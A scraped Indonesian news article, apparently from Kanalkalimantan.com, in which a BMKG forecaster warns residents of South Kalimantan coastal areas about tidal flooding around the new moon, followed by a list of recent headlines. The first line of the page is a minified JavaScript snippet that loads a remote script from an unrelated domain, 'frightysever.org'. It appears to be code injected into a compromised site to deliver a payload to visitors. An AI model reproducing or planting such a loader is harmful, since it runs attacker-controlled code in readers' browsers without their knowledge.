(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Waspada Banjir Rob Pesisir Banjarmasin-Banjar-Tanbu-Tala, Efek Fenomena Bulan Baru


KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) mengimbau masyarakat di wilayah pesisir agar waspada dan siaga mengantisipasi dampak pasang maksimum air laut. BMKG memperingatkan potensi banjir pesisir (Rob) di beberapa wilayah pesisir Indonesia, termasuk wilayah pesisir Kalsel.

Fenomena air merendam wilayah darat bak ‘Atlantis’ ini secara umum dapat mengganggu aktivitas keseharian masyarakat di sekitar pelabuhan dan pesisir.

Staf Prakirawan BMKG Syamsudin Noor Banjarmasin, Fitma Surya mengatakan, saat ini situasi mendekati fase bulan baru, sehingga bisa menimbulkan banjir rob.

“Diprediksi terjadi pada akhir tahun ini,” ujar Fitma, Rabu (28/12/2022) siang.

 

Staf Prakirawan BMKG Syamsudin Noor Banjarmasin, Fitma Surya. Foto: ibnu

Baca juga : Cuaca Ekstrem di Kalsel, BMKG: Potensi Angin Kencang Hingga Januari 2023

Disamping itu juga Fitma menyebutkan, banjir rob ini terjadi pada wilayah pesisir yang pantai dekat dengan Laut Jawa. Sebab, saat ini cuaca di Laut Jawa terbilang ekstrem.

“Yang harus diwaspadai bagi masyarakat yang ada di pesisir-pesisir dekat Laut Jawa, seperti pesisir Tanah Bumbu, Tanah Laut dan Banjarmasin,” terangnya.

Dengan adanya fenomena banjir rob ini, Fitma mengimbau agar masyarakat yang ada di sekitar pesisir dekat Laut Jawa agar lebih meningkatkan kewaspadaan dan kesiapan menghadapi banjir rob ini.

“Pasang maksimum ini memang susah untuk dihindari di wilayah Kalimantan Selatan, harap waspada,” imbaunya.

Baca juga : Satu Korban Belum Ditemukan, Pencarian di Perairan Marabatuan Kotabaru Berlanjut

Menurut Fitma, perlu adanya kajian ulang yang dilakukan masyarakat agar bisa mengurangi dampak dari banjir rob yang sering terjadi di wilayah pesisir.

“Sehingga bisa tahu upaya adaptasinya, mitigasi dan apa yang harus dilakukan ketika fase banjir datang,” pungkasnya.(Kanalkalimantan.com/ibnu)

Reporter   ibnu
Editor : bie


Desy Arfianty

Recent Posts

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

58 menit ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

5 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

13 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

14 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

16 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

17 jam ago

This website uses cookies.